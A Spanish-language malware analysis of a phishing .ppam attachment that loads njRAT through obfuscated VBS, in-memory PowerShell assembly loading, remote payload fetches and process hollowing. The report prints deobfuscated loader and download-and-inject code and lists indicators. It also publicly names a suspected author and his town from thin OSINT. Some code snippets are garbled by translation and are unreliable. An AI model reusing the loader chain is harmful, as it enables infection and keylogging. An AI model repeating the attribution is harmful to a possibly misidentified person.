La alerta de phishing que distribuía un Power Point malicioso fue planteada por los investigadores Ankit Anubhav y Germán Fernández, que se pusieron en contacto con el equipo de ISH. Estos investigadores atribuyeron la amenaza a NjRAT, concretamente a una rama llamada NYAN CAT.
El motivo del contacto fue el mensaje en portugués que acompañaba a uno de los adjuntos maliciosos observados, ComprovanteXdeXreserva.ppam (SHA1 - 94572d313222700a565f2ff161223bb28464636c). Su demostración es la siguiente:
Es curioso observar que el mensaje alude a un archivo adjunto en formato .doc (documento de Word), aunque el correo electrónico lleva un archivo .ppam. En posesión del documento malicioso, nos lanzamos a su análisis estático.
Macro maliciosa comentada
El análisis del archivo en cuestión reveló una única macro, sin ningún intento de ofuscación. Al contrario, algunas partes del código contenían comentarios que explicaban su función. Lo reproducimos a continuación.
Una búsqueda en los comentarios sugiere que parte del código fue copiado de un hilo del foro Microsoft technet de agosto de 2010, Excel file to UTF-8 Encoded Text file.
Comentarios como 'Especifique el tipo de flujo - queremos guardar datos de texto/cadena. son idénticos entre la respuesta anterior y la macro encontrada. El nombre de la variable utilizada para el objeto stream, fsT, también es idéntico. La única diferencia es la codificación: mientras que el código technet especifica utf-8, la macro especifica utf-16.
Es interesante observar que el código está orientado a guardar texto con formato Unicode. La razón de esto será obvia muy pronto. En resumen, lo que hace el documento .ppam es guardar el contenido de una página web(hxxps://wtools[.]io/code/raw/b8GX) en un script de Visual Basic(x.vbs) y ejecutarlo mediante wscript.exe.
Ofuscación con Unicode y Base64
El sitio wtools permite compartir código en un formato similar a pastebin: el contenido alojado en él está disponible para peticiones GET. Se utilizará repetidamente a lo largo de la cadena de infección. Una visita a la dirección referenciada por la macro proporciona un script ofuscado como el que se muestra a continuación.
La imagen de arriba aclara la razón de preservar la codificación Unicode: el código está ofuscado con símbolos, que se eliminarán mediante funciones de sustitución. El símbolo "♌" se borrará y las cadenas que lo contenían se escribirán al revés. Como resultado de estas transformaciones, tenemos la siguiente cadena:
"'\AppDataRoaming\Microsoft\Windows\Start Menu\Programs\Startup\LwFWp.vbs')"
Se trata de un archivo, LwFWp.vbs, guardado en el directorio Startup. Se trata de una herramienta de persistencia: los scripts y programas guardados en este directorio se ejecutan automáticamente cuando el usuario correspondiente se conecta.
La secuencia "┌♍" también se borrará, pero sin el paso de inversión posterior. Esta información se combinará para formar:
"[System.IO.File]::Copy('adRbe','C:\Users\'[Environment]::UserName'\AppDataRoaming\Microsoft\Windows\Start Menu\Programs\Startup\LwFWp.vbs')
Una línea de código ofuscado inmediatamente posterior se encarga de utilizar la cadena anterior y componer el comando que dará lugar a la persistencia en el sistema afectado. Una vez eliminada la ofuscación, el comando es
cmd.exe /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command "[System.IO.File]::Copy('adRbe','C:\Users\'[Environment]::UserName'\AppDataRoaming\MicrosoftWindows\Start Menu\Programs\Startup\LwFWp.vbs'
La acción ping en localhost (127.0.0.1) sólo sirve para esperar 5 peticiones(-n 5) antes de ejecutar el resto del código. Esto es similar al uso de la función sleep comúnmente vista en malware. A continuación, el símbolo del sistema llamará a powershell, dándole una orden para copiar el contenido de x.vbs (guardado por la macro en el directorio temporal) a la carpeta de inicio. En un momento futuro, después de que el script se haya ejecutado completamente, una nueva instancia de powershell eliminará x.vbs (que reside en la carpeta temporal) mediante el comando Remove-Item.
Curiosamente, el análisis dinámico mostró que el archivo creado en la carpeta de inicio se llamaba JXG.vbs, no LwFWp.vbs. Su contenido, sin embargo, era el mismo que x.vbs.
Para la infección propiamente dicha, la sustitución de caracteres Unicode y la inversión de cadenas se combinan con la codificación base64. Un ejemplo de esto se ve en la variable GlmHt:
Observe que dentro del paréntesis, después de las comillas iniciales, aparece el carácter "=". Esta es una pista de que se trata de una cadena base64. Los caracteres "✍✍" se sustituirán por "A", mientras que la secuencia de variables "ppDqQ & VgGCC & ppDqQ" se sustituirá por la letra "Z". Tras invertir y descodificar el base64, nos encontramos con el siguiente comando:
GlmHt = $.p.I.C.w.v. .=. .'.%.A.P.y.j.d.a.U.Y.a.k.%.';.[.B.y.t.e.[.]]. .$.H.W.q.M.Q. .=. .[.S.y.s.t.e.m...C.o.n.v.e.r.t.]:.:.F.r.o.m.B.a.s.e.6.4.S.t.r.i.n.g.(. .$.p.I.C.w.v. .).;.[.S.y.s.t.e.m....A.p.p.D.o.m.a.i.n.]:.:.C.u.r.e.n.t.D.o.m.a.i.n...L.o.a.d.(.$.H.W.q.M.Q.)...G.e.t.T.y.p.e.(.'.C.l.a.s.s.L.i.b.r.a.r.y.3...C.l.a.s.s.1.'.)...G.e.t.M.e.t.h.o.d.(.'.R.u.n.'.)...I.n.v.o.k.e.(.$.n.u.l.l.,. .[.o.b.j.e.c.t.[.]. .(.'.W.G.8.b./.w.a.r./.e.d.o.c./.o.i...s.l.o.o.t.w./:.s.p.t.h.'.).
Los puntos entre caracteres son una característica de almacenamiento de cadenas en Unicode (cada carácter está separado por un byte nulo, que se traduce como "."). Para facilitar la lectura, utilizamos un sencillo script de python para eliminar los puntos innecesarios:
cadena = [UNICODE STRING]
unistring = ""
para i en rango(0, (len(cadena)-1)):
si i == 0:
unistring += cadena[i]
i+=1
si cadena[i-1] == ".":
si cadena[i-2] == "." y cadena[i] == ".":
pase
si no:
unistring += cadena[i]
i+=1
print(unistring)
La salida del script nos proporciona lo siguiente:
$pICwv ='%APyjdaUYak%';[Byte[]] $HWqMQ = [System.Convert]::FromBase64String( $pICwv );[System.AppDomain]::CurrentDomain.Load($HWqMQ).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('WG8b/war/edoc/oi.slootw//:sptth'))
Aunque aún no está totalmente desvirtuado, el comando es lo suficientemente legible como para que podamos extraer de él algunos puntos de atención (resaltados en rojo). En primer lugar, el término %APyjdaUYak%. Otra parte del script señala por qué debe sustituirse por la variable OPKSn. Hemos renombrado algunas funciones y eliminado la ofuscación para que el contenido de esa variable sea más fácil de entender:
OPKSn = ReplaceString(ReverseString(GET_Reponse("hxxps://wtools[.]io/code/raw/b833")), "ÐÐÐ", "A")
En resumen, el código recupera el contenido de otra página wtools (resaltado en rojo), lo invierte y sustituye la secuencia"ÐÐÐ" por la letra"A". Aplicando estas transformaciones manualmente, encontramos otro contenido codificado en base64. Al descodificar es posible notar una cabecera de archivo ejecutable:
Este ejecutable es una DLL .NET llamada ClassLibrary3.dll (SHA1: 9402d8272486ae59afadadc2f0cc3fdf5db258928fee44de3392b8b5d301743a). Curiosamente, esta DLL no se guarda en el disco, sino que se lee desde wtools y se pasa como argumento a Powershell. Esta es una característica del malware sin archivos: las cargas útiles nunca tocan el disco, sólo existen en la memoria.
El comando Powershell que estamos viendo hace referencia a esta DLL:
GetType('ClassLibrary3.Class1').GetMethod('Run')
El método "Ejecutar" es el siguiente paso en nuestro análisis. Como es un ejecutable .NET, usamos dnSpy para descompilarlo. Inspeccionando el código del método "Run", encontramos lo siguiente:
La primera parte del código muestra la variable text, que recibirá el contenido de otra URL escrita al revés, que contiene un archivo txt:
hxxps://ia804600[.]us[.]archive[.]org/4/items/rumpe-03/Rumpe03[.]txt
Este archivo tiene varios personajes muñecos de nieve (☃):
El resto del código sustituye cada dos muñecos de nieve por la letra A e invierte el texto:
texto = Strings.StrReverse(texto);
text = text.Replace("☃☃", "A");
Como se ha visto varias veces a lo largo de este análisis, tras la sustitución de caracteres y la inversión del texto, el resultado se codifica en base64. Tras la descodificación, tenemos un ejecutable más:
Se trata de otro ejecutable .NET, ClassLibrary1.dll (SHA1: 1b898622bc4a5a37320ec01e93f798fdf9c3b22f5b147532005a33b6a564b00b). Volviendo al código de ClassLibrary3.dll, se observa una referencia a esta nueva DLL:
cadena texto2 = nuevo WebClient
{
Codificación = Codificación.UTF8
}.DownloadString(Strings.StrReverse(QBXtX));
texto2 = Strings.StrReverse(texto2);
string str = "C:³³WindowsMicrosoft.NET³Framework";
str += "\v4.0.30319";
AppDomain.CurrentDomain.Load(ClassLibrary1.dll.GetType("ClassLibrary1.Class1").GetMethod("Run").Invoke(null, new object[]
{
str + "\RegegAsm.exe",
Convert.FromBase64String(texto2)
});
Es interesante observar que la sección resaltada en verde, ClassLibrary1.dll, está ocupada por el propio ejecutable en memoria, al igual que el comportamiento sin archivos de ClassLibrary3.dll. Esta nueva DLL también utiliza un método llamado Run. Mediante dnSpy, podemos confirmar qué argumentos se pasan a este método:
El primer argumento es una cadena de ruta, o un archivo con su ruta completa en el disco. A partir del código de ClassLibrary3.dll encontramos que es C:\WindowsMicrosoft.NET\Framework\v4.0.30319\RegAsm.exe.
El segundo argumento son datos en bytes, representados en el código por Convert.FromBase64String(text2). Se trata de otro contenido a decodificar a partir de una cadena base64. ¿Qué contenido? El contenido de la variable text2. Volvamos a la parte del código que hace referencia a ella:
cadena texto2 = nuevo WebClient
{
Codificación = Codificación.UTF8
}.DownloadString(Strings.StrReverse(QBXtX));
texto2 = Strings.StrReverse(texto2);
Se trata de contenido codificado en Unicode (UTF8), que se descargará en la variable QBXtX; esta variable es también el único parámetro que recibe el método Run de ClassLibrary3.dll.
Recordemos el código Powershell que obtuvimos del script vbs:
$pICwv ='ClassLibrary3.dll';[Byte[]] $HWqMQ = [System.Convert]::FromBase64String( $pICwv);[System.AppDomain]::CurrentDomain.Load($HWqMQ).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('WG8b/war/edoc/oi.slootw//:sptth'))
Invirtiendo el texto resaltado en rojo, llegamos a la última URL de wtools.io: hxxps://wtools[.].io/code/raw/b8GW. Una vez recuperado su contenido, debemos invertir el texto y decodificarlo desde base64 (prometo que es la última vez que tendremos que hacerlo):
Este ejecutable es la carga útil final, una versión de njRAT llamada Client.exe (SHA-1: 2ef51053667af029a1eefa8f35b92e9b8ccb2871). Al igual que las dos DLL, también se trata de un ejecutable .NET que nunca se guarda en disco (malware sin archivos).
Última revisión de la llamada a ClassLibrary3.dll:
AppDomain.CurrentDomain.Load(ClassLibrary1.dll).GetType("ClassLibrary1.Class1").GetMethod("Run").Invoke(null, new object[]{“C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe” , Client.exe});
Recordando que los términos en verde son los propios ejecutables, descodificados en memoria.
Proceso de vaciado
Sabemos que ClassLibrary3.dll es un ejecutable responsable de decodificar en memoria ClassLibrary1.dll y ejecutarlo, pasando como argumentos el binario de Windows RegAsm.exe y el njRAT en memoria(Client.exe). Pero, ¿qué hace exactamente ClassLibrary1.dll? Una consulta en VirusTotal proporciona una pista:
Los veredictos de Kaspersky, Avast y otros antivirus lo clasifican como Inyector. Dado que recibe una carga útil(Client.exe) y un archivo legítimo de Windows(RegAsm.exe), podemos teorizar que su propósito es crear un proceso legítimo e inyectar contenido malicioso en él. Una de las técnicas para esta acción se denomina Process Hollowing.
Una rápida investigación estática del ejecutable aporta más pruebas de esta posible funcionalidad. Se trata de los siguientes métodos:
kernel32.dll: CreateProcess, GetThreadContext, Wow64GetThreadContext, SetThreadContext, Wow64SetThreadContext, ReadProcessMemory, WriteProcessMemory, VirtualAllocEx, ResumeThread
ntdll.dll: NtUnmapViewOfSection
Resaltados en negrita están los métodos que suelen utilizarse juntos para el vaciado de procesos. La secuencia es:
- Crear un proceso suspendido (CreateProcess);
- Elimina tu ejecutable de su memoria (NtUnmapViewOfSection);
- Asignar la región previamente ocupada por este ejecutable (VirtualAllocEx);
- Escribe el ejecutable malicioso en ella(WriteProcessMemory);
- Reanudar el proceso (ResumeThread).
Inspeccionando el ejecutable en dnSpy, buscamos su uso de VirtualAllocEx:
La documentación para desarrolladores de Microsoft especifica los argumentos de la API en cuestión:
El último argumento es el que nos interesa: flProtect. Son las banderas que indican a Windows qué protecciones deben darse a esa nueva región asignada en memoria. En el código de ClassLibrary1.dll vemos que este parámetro recibe el valor decimal 64 (0x40 en hexadecimal). Según la documentación de protecciones, la bandera 0x40 equivale a la protección PAGE_EXECUTE_READWRITE. Esta protección es comúnmente utilizada en inyecciones, ya que permite que el código malicioso sea escrito y ejecutado por el proceso objetivo.
Para confirmar nuestra hipótesis de que el proceso RegAsm.exe será el objetivo del hollowing, nos dispusimos a realizar un análisis dinámico. Ejecutamos el documento malicioso y observamos que, efectivamente, un proceso Powershell daba lugar a un proceso RegAsm.exe. Utilizando la herramienta vmmap de SysInternals, inspeccionamos la memoria de este proceso.
Estos son los puntos importantes de la imagen anterior. Primero, la ventana de cadena muestra que tenemos un ejecutable mapeado en el rango de memoria 0x00400000 - 0X0040BFFF (sabemos esto por el mensaje presente en la cabecera DOS de cada ejecutable: "!Este programa no puede ejecutarse en modo DOS.").
Detrás de esta ventana, podemos ver que este ejecutable está en la región de Datos Privados, mostrada por el color amarillo. Esta es la primera anomalía: todas las imágenes de los ejecutables de un proceso se encuentran en la región Imagen, de color morado.
En segundo lugar, en la columna Protección, vemos que la dirección 0x00400000 tiene protección Ejecutar/Leer/Escribir. Esto también es anómalo, ya que todos los ejecutables asignados a un proceso deberían tener protección Ejecutar/Leer durante la ejecución.
Por último, tenemos el contenido de la propia ventana de cadenas. Hay una mención a Client.exe (el nombre de la versión de njRAT pasado como argumento a ClassLibrary1.dll), así como el sospechoso término Keylogger.
En conjunto, estas pruebas confirman nuestra teoría sobre ClassLibrary1.dll: su propósito es crear un proceso RegAsm.exe y sustituir en memoria el ejecutable legítimo por njRAT.
Análisis de Client.exe (njRAT)
Clase Keylogger
Recurrimos una vez más a dnSpy para analizar este binario. Un punto interesante para comenzar el análisis es la clase Keylogger cuyo nombre vimos entre las cadenas del proceso RegAsm.exe tras la inyección de njRAT. Este componente se explica por sí mismo: registra cada tecla pulsada por la víctima durante la ejecución del malware. Estas pulsaciones son convertidas a un formato legible y finalmente transmitidas al controlador del malware.
Este fragmento de código demuestra que el keylogger distingue entre mayúsculas y minúsculas y también señala el uso de las teclas Intro y Tabulador como [ENTER] y [TAP] respectivamente.
El método AV está destinado a registrar la ventana activa. Su nombre está vinculado a la fecha de captura de las teclas pulsadas ("aa/MM/dd").
El método WRK se encarga de guardar el contenido recogido por el keylogger. Para ello, utiliza el método Program.SaveValueOnRegistry con el argumento this.vn. Este argumento se define al principio de la clase Keylogger:
Observe que this.vn = "[kl]". Entendemos de esto que el contenido capturado del teclado se guardará en algún lugar del registro, bajo una clave llamada [kl]. Para saber qué clave, es necesario inspeccionar la clase Program.
Clase de programa
En esta clase es posible inspeccionar variables estáticas para obtener la configuración del malware.
C2 está configurado en host, fidapeste2[.]duckdns[.]org, con el puerto asociado configurado en port, 5552.
La variable registryName(94b3fabc19494c) proporciona el nombre de la entrada creada en el registro por njRAT. Esto es visible en los métodos de operación del registro, DeleteValueFromRegistry, GetValueFromRegistry y SaveValueOnRegistry:
Añadiendo esta información a lo que sabemos sobre el funcionamiento del keylogger, podemos deducir que las pulsaciones de teclado grabadas se guardarán en Computer\HKEY_CURRENT_USER\Software\94b3fabc19494c\[kl]. Para confirmar esta hipótesis, realizamos una prueba en un entorno virtualizado:
En la imagen anterior, vemos que esta clave existe realmente en la ubicación teorizada. Su contenido contiene la fecha y el nombre de la ventana activa. El texto resaltado muestra que uno de los pasos de nuestra prueba consistió en escribir"esta es otra ventana" en Notepad++.
El keylogger no registraba que el foco del usuario cambiaba al menú de inicio, lo que provocaba que la búsqueda de "regedit" se asignara erróneamente a Notepad++.
Volvamos a los campos restantes de la configuración de la RAT. La variable victimName lleva en base64 el término NYAN CAT, asociado a un constructor njRAT. La variable version denota la versión del njRAT, 0.7NC. El divisor se utiliza en el envío de datos al C2 del malware. Esto es visible al inspeccionar el método Connect:
La línea Program.Send es un ejemplo de su uso: envía, al conectarse, el texto inf@!#&^%$ ("inf" + Program.splitter) seguido de una cadena codificada en base64. Esta cadena contendrá entradas capturadas por el keylogger disponible en la clave de registro [kl], aquí identificada por el término "vn".
También se añadirá a esta cadena la información del host(fidapeste2[.]duckdns[.]org), el puerto(5552), seguido del directorio y el nombre del ejecutable de la RAT (FileInfo(Application.ExecutablePath)). Es interesante observar que esta infección no guarda Client.exe en el disco; posiblemente el retorno de esta función en estas circunstancias sería la ruta de RegAsm.exe.
Otro rasgo característico de njRAT es la capacidad del malware para desinstalarse a sí mismo. Esto se consigue mediante el método Uninstall:
Esta rutina elimina la entrada del registro que almacena las entradas capturadas por el keylogger (HKEY_CURRENT_USER\Software94b3fabc19494c\[kl]) y elimina la copia de disco de njRAT a través del símbolo del sistema.
Como se indica en las consideraciones sobre el método Connect, la infección analizada aquí tiene este malware sólo en memoria. Por lo tanto, el método de desinstalación eliminaría las entradas capturadas del teclado, pero no habría ninguna copia en disco de Client.exe que eliminar.
Esta RAT tiene más módulos además de la funcionalidad de keylogger, comunicación con un servidor de comandos y desinstalación. Para no extender demasiado este análisis, ya de por sí bastante extenso, hemos decidido centrarnos únicamente en las funcionalidades que hemos retratado hasta ahora.
Asignación de componentes
Durante el análisis del mecanismo de infección de esta campaña, observamos que el creador de ClassLibrary3.dll dejó en la versión final de su ejecutable una mención al archivo de símbolos del depurador de Visual Studio (marcado con la extensión .pdb). La referencia a este archivo muestra que la DLL en cuestión tenía su archivo de símbolos guardado en:
C:\Users\pjoao\Desktop\UpCry\Method DF\ClassLibrary3\ClassLibrary3\obj\Release\ClassLibrary3.pdb.
¡¡¡¡Al buscar en internet la cadena UpCry asociada a pjoao, hemos encontrado un usuario de youtube con un vídeo publicado en noviembre de 2021, titulado "!!!! Actualización Upcry bypass WD 2021 exe to vbs !!!".
Este vídeo aporta algunas pistas interesantes. En primer lugar, demuestra el uso de un NYAN CAT builder para njRAT. El puerto utilizado en la demostración del autor es también el mismo puerto visto en la muestra que analizamos, 5552.
Otro punto curioso es el acento de tal pjoao, claramente de la región nordeste de Brasil. Esto genera una asociación con el C2, "fí da peste", un coloquialismo de la misma zona. Como el autor utiliza siempre el mismo apellido en varias actividades en internet, pudimos confirmar vía OSINT que su nombre es João Paulo y que es residente en Caruaru, Pernambuco.
En su vídeo, John muestra una versión de njRAT llamada Client.exe (mismo nombre que la observada por nosotros) siendo codificada en base64 y luego invertida. A continuación, copia el resultado en texto y lo aloja en un sitio similar a wtools.
Otro punto interesante es el llamado UpCrypt (o UpCry, la ortografía es inconsistente), una herramienta aparentemente de autoría de João Paulo. Esta herramienta ofrece la posibilidad de "convertir" un ejecutable en vbs.
Es interesante observar también las opciones "Copiar VBS de inicio" e "Instalar y borrar VBS". Este comportamiento es similar al observado para x.vbs, donde el script se copiaba a sí mismo en la carpeta de Inicio y luego se borraba del directorio temporal.
La opción Ejecutar desde Memoria (probablemente la intención era escribir "Ejecutar desde Memoria") tiene marcado "Rumpe01". Vale la pena recordar que el ejecutable responsable por el vaciamiento del proceso, ClassLibrary1.dll, estaba hospedado como Rumpe03. Un pobre dominio de la escritura, tanto en portugués como en inglés, es evidente en el sitio personal de João Paulo. Así, entendemos que el término Rumpe es probablemente un intento de escribir RunPE, apodo dado a la técnica de Process Hollowing.
Esta herramienta la vende John Paul, como él mismo afirma en los comentarios de otro de sus vídeos.
Una revisión de su sitio web personal confirma que UpCrypt (o UpCry, la ortografía del autor es inconsistente) está a la venta por 600 reales o 110 dólares.
Estudiando las etapas de esta cadena de infección, observamos una cierta disonancia entre la complejidad de sus componentes. La macro maliciosa, por ejemplo, sugiere un autor con muy poca experiencia (véase el mantenimiento de comentarios en líneas copiadas de Internet). Si Juan Pablo realmente creó la herramienta UpCrypt, no debería cometer errores de esta naturaleza.
Aunque más compleja que la macro, la ofuscación del script vbs también tiene pasos que apuntan a un programador con pocos conocimientos, como invertir una cadena tres veces consecutivas (cualquier inversión impar tiene el mismo resultado que una sola inversión).
Por último, también hay una clara diferencia de complejidad entre la DLL responsable de Process Hollowing (ClassLibrary1.dll) y la creada por John Paul (ClassLibrary3.dll). ClassLibrary1 es mucho más sofisticada en su ofuscación. Es probable que sea una DLL preparada para RunPE y aprovechada por UpCrypt, como indican las opciones de "Rumpe". El propio njRAT tampoco fue creado por John Paul.
Confiamos plenamente en que el script VBS utilizado en esta cadena de infección fue generado por la herramienta UpCrypt, teóricamente creada por él. Sin embargo, no podemos afirmar con certeza que toda la campaña proceda de John.
Uno de los puntos que sugieren que este es el caso es la configuración de la RAT. El puerto utilizado por la muestra que analizamos es el mismo demostrado por John en su tutorial, mientras que la dirección elegida para C2 es compatible con las expresiones populares de la región donde vive.
Por otro lado, Joao publica abiertamente sus tutoriales en YouTube y vende la herramienta UpCrypt. Dada su facilidad de uso y la del constructor de njRAT, es posible que un delincuente con poca experiencia en programación o malware simplemente comprara la herramienta y siguiera los pasos demostrados por Joao.
Agradecimientos:
Ankit Anubhav y Germán Fernández por compartir el documento malicioso en cuestión y los resultados de su análisis dinámico. Los dos investigadores también comentaron con nosotros algunos de los pasos del análisis, lo que sin duda agilizó todo el proceso de estudio de esta campaña.
Siga al equipo de inteligencia de ISH en twitter
COIs
SHA256
623027463a2ef70f60ff6a0991019847a3fb24da3b633b52da4a99a77c99f92b ComprovanteXdeXreserva.ppam
82c9d74c9a8688ed1fffd53e3b8ffaf9ae8f85a843f34412d15f88b18ce134a9 x.vbs
Los siguientes hashes no son útiles para detectar estos ejecutables en disco, ya que sólo existen en memoria. Los proporcionamos por si algún investigador desea descargar alguno de los ejecutables para seguir estudiando su funcionamiento. Los tres están disponibles en MalwareBazaar.
1b898622bc4a5a37320ec01e93f798fdf9c3b22f5b147532005a33b6a564b00b ClassLibrary1.dll
9402d8272486ae59afadadc2f0cc3fdf5db258928fee44de3392b8b5d301743a ClassLibrary3.dll
08dd5907b25f93be9300016865aae429318e00969a1b875bfabe2018403ebd40 Client.exe
Regístrese en
Computer\HKEY_CURRENT_USER\Software\94b3fabc19494c\[kl]
Persistencia
%APPDATA%Microsoft\Windows\Start Menu\Programs\Startup\ JXG.vbs
Red
URL C2: fidapeste2[.]duckdns[.]org
IP y puerto: 45[.]186[.]40[.]140:5552
URL de recuperación de la carga útil:
hxxps://wtools[.]io/code/raw/b8GX
hxxps://wtools[.]io/code/raw/b833
hxxps://wtools[.].io/code/raw/b8GW
hxxps://ia804600[.]us[.]archive[.]org/4/items/rumpe-03/Rumpe03[.]txt
Cadenas en la memoria que sugieren infección:
Registrador de teclas
cmd.exe /C Y /N /D Y /T 1 & Supr "
fidapeste2.duckdns.org
94b3fabc19494c
TllBTiBDQVQ=